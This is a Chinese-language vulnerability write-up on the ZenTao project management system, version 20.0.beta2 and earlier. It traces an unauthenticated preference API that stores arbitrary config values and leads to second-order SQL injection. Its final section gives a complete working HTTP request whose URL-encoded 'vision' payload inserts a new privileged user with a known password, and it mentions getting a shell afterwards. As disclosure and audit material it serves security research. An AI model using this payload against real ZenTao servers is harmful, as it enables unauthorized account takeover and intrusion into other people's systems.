禅道二次注入到RCE(Version-20.0.beta2)
一.基础信息
time: 2024.10.26
测试版本Version: 20.0.beta2
php: 7.3.4
影响范围: Version<=20.0.beta2
POST /api.php?m=my&f=preference&kanbanID=1®ionID=2&groupID=3&columnI=4&selectedProductID=5 HTTP/1.1
Host: 127.0.0.1
User-Agent: easysoft/xuan.im
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: pma_lang=zh_CN; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; zentaosid=aaaa
Upgrade-Insecure-Requests: 1
REFERER: 123456
SEC-FETCH-DEST: iframe
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
vision=xinyiGEGE521
二.审计过程
2.1: 对象任意添加属性
public function preference($showTip = 'true')
{
$this->loadModel('setting');
if($_POST)
{
foreach($_POST as $key => $value) $this->setting->setItem("{$this->app->user->account}.common.$key", $value);
$this->setting->setItem("{$this->app->user->account}.common.preferenceSetted", 1);
return $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess, 'closeModal' => true));
}
$this->view->title = $this->lang->my->common . $this->lang->hyphen . $this->lang->my->preference;
$this->view->showTip = $showTip;
$this->view->URSRList = $this->loadModel('custom')->getURSRPairs();
$this->view->URSR = $this->setting->getURSR();
$this->view->programLink = isset($this->config->programLink) ? $this->config->programLink : 'program-browse';
$this->view->productLink = isset($this->config->productLink) ? $this->config->productLink : 'product-all';
$this->view->projectLink = isset($this->config->projectLink) ? $this->config->projectLink : 'project-browse';
$this->view->executionLink = isset($this->config->executionLink) ? $this->config->executionLink : 'execution-task';
$this->view->preferenceSetted = isset($this->config->preferenceSetted) ? true : false;
$this->display();
}
//主要看第七行setItem
public function setItem($path, $value = '')
{
$item = $this->parseItemPath($path);
if(empty($item)) return false;
$item->value = strval($value);
$this->dao->replace(TABLE_CONFIG)->data($item)->exec();
return !dao::isError();
}
//30行进行分割,进去看看
public function parseItemPath($path)
{
/* Determine vision of config item. */
$pathVision = explode('@', $path);
$vision = isset($pathVision[1]) ? $pathVision[1] : '';
$path = $pathVision[0];
/* fix bug when account has dot. */
$account = isset($this->app->user->account) ? $this->app->user->account : '';
$replace = false;
if($account and strpos($path, $account) === 0)
{
$replace = true;
$path = preg_replace("/^{$account}/", 'account', $path);
}
$level = substr_count($path, '.');
$section = '';
if($level <= 1) return false;
if($level == 2) list($owner, $module, $key) = explode('.', $path);
if($level == 3) list($owner, $module, $section, $key) = explode('.', $path);
if($replace) $owner = $account;
$item = new stdclass();
$item->owner = $owner;
$item->module = $module;
$item->section = $section;
$item->key = $key;
if(!empty($vision)) $item->vision = $vision;
return $item;
}
//走到五十九行返回这个对象,34行代码代码
public function replace($table)
{
$this->setMode('raw');
$this->setMethod('replace');
$this->sqlobj = sql::replace($table);
$this->setTable($table);
return $this;
}
//里面会进行PDO预编译
public function data($data, $skipFields = '')
{
$data = (object) $data;
if($skipFields) $this->skipFields = ',' . str_replace(' ', '', $skipFields) . ',';
if($this->method != 'insert')
{
foreach($data as $field => $value)
{
if(!preg_match('|^\w+$|', $field))
{
unset($data->$field);
continue;
}
if(strpos($this->skipFields, ",$field,") !== false) continue;
if($field == 'id' and $this->method == 'update') continue;
$this->sql .= "`$field` = " . $this->quote($value) . ',';
}
}
$this->data = $data;
$this->sql = rtrim($this->sql, ',');
return $this;
}
//99行
public function dbQuery($query)
{
if(!$this->dbh) return false;
if($this->slaveDBH && strtolower(substr($query, 0, 6)) == 'select') return $this->slaveDBH->query($query);
return $this->dbh->query($query);
}
public function quote($value)
{
if(is_null($value)) return 'NULL';
if($this->magicQuote) $value = stripslashes($value);
return $this->dbh->quote((string)$value);
}
}
public function quote($string, $parameter_type = PDO::PARAM_STR)
{
return $this->pdo->quote($string, $parameter_type);
}
public function exec($sql)
{
$sql = $this->formatSQL($sql);
if(!$sql) return true;
if(!empty($this->config->enableSqlite)) $this->pushSqliteQueue($sql);
try
{
if(class_exists('dao')) dao::$querys[] = "[$this->flag] " . dao::processKeywords($sql);
return $this->pdo->exec($sql);
}
catch(PDOException $e)
{
$this->sqlError($e);
}
}
//REPLACE 插入数据到zt_config表中,这个表怎么来的TABLE_CONFIG全局搜索一下这个常量就知道了。
看到这里其实是没有任何问题的,但是不要忽略这里是未授权插入数据到数据库的,我们有的思路就只能联想到二次注入,看看哪里用到了这个表,全局搜索TABLE_CONFIG,这个常量。
这里不得不吐槽ide的搜索功能,在我挖的时候前几个就发现了,在写这个文章的时候再找找不到,弄了半天重新搜一下又出现了。
这里主要查找select进行查询的,之后查看getSysAndPersonalConfig是否被调用使用了,找到两个,先看第2个,为啥不看第一个,总觉得第一个不会运气那么好,查看之后确实有两个用到了,但是都不是执行这个类的,所以返回去看看第一个,loadConfigFromDB,再去看这个的时候也就是上面提到的两个接着就是进入入口文件了。
回到最初查询之后会进行遍历内容,先看一下图三中数据库内容,
$config[$record->owner]->{$record->module}[] = $record;
主要这个代码,我们能控制的只有key value,$record->owner插入默认是空,$record->module common
$config得到两个对象,一个是system 一个是空,空是哪里来的就是我们插入的时候$record->owner是空。
看第二张图片,59行得到$this->config->personal,$account是空读的session缓存内容,
65行mergeConfig代码如下,$item->section空执行else
$config2Merge->{$item->key} = $item->value;
看到这里呢就会很明显的发现,我们可以控制$config这个对象实例的任意属性,现在就可以搜索哪里用到了
这个对象下的任意属性。
public function mergeConfig($dbConfig, $moduleName = 'common')
{
global $config;
/* 如果没有设置本模块配置,则首先进行初始化。Init the $config->$moduleName if not set.*/
if($moduleName != 'common' and !isset($config->$moduleName)) $config->$moduleName = new stdclass();
$config2Merge = $config;
if($moduleName != 'common') $config2Merge = $config->$moduleName;
foreach($dbConfig as $item)
{
if($item->section)
{
if(!isset($config2Merge->{$item->section})) $config2Merge->{$item->section} = new stdclass();
if(is_object($config2Merge->{$item->section}))
{
$config2Merge->{$item->section}->{$item->key} = $item->value;
}
}
else
{
$config2Merge->{$item->key} = $item->value;
}
}
}
2.2: 二次注入
$config搜索的话实在太多了,这里搜索select但是上面也讲了是存在PDO的,在看代码的过程中看到了
$vision = $this->dbQuery("SELECT * FROM " . TABLE_CONFIG . " WHERE owner = $account AND `key` = 'vision' LIMIT 1")->fetch();
dbQuery是没有进行预编译的,哦对上面代码不存在注入哈,$account 可以控制但是转成字符串了,找的时候看到了这个,直接搜dbQuery也就十几个挨个看一下,找到下面图一。
数据库中随便修改$this->config->vision,访问直接报错了图二,报错信息说类已经被定义了,去找了这个类发现在同目录下rnd文件下,并且把$this->config->vision内容创建文件夹了,这里看了半天用调试看看啥情况吧,看图四,创建之后进行包含的时候因为类extcommonModel已经定义了,然后报错,看第4张图片
self::$includedFiles存在白名单,其中就有rnd目录,但是通过../../也不行呀不要忘记第一行的
realpath,那就好办了 随便输入/../rnd, 访问确实正常也执行sql语句,dbQuery最后执行的也就是
$this->pdo->query,我们要知道exec和query都是可以执行多条sql语句的,这里可以直接写webshell也可以添加管理进入后台后面路径也好办直接-- 进行注释。
三.漏洞利用
3.1: 添加用户
POST /api.php?m=my&f=preference&kanbanID=1®ionID=10&groupID=10&columnI=10&selectedProductID=10 HTTP/1.1
Host: 127.0.0.1
User-Agent: easysoft/xuan.im
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 197
vision=%27%3Binsert+into+zt_user+%28type%2Caccount%2Cpassword%2Crealname%29+value%28%27inside%27%2C%27xinyi%27%2C%27fd572333ef79a69961a8432330204b8c%27%2C%27xinyi%27%29%3B%2d%2d%20%2f%2e%2e%2f%72%6e%64
账号:xinyi
密码:xinyiGEGE521
3.2:getshell
getshell就不写了因为后台shell一堆而且版本不同也有些差异。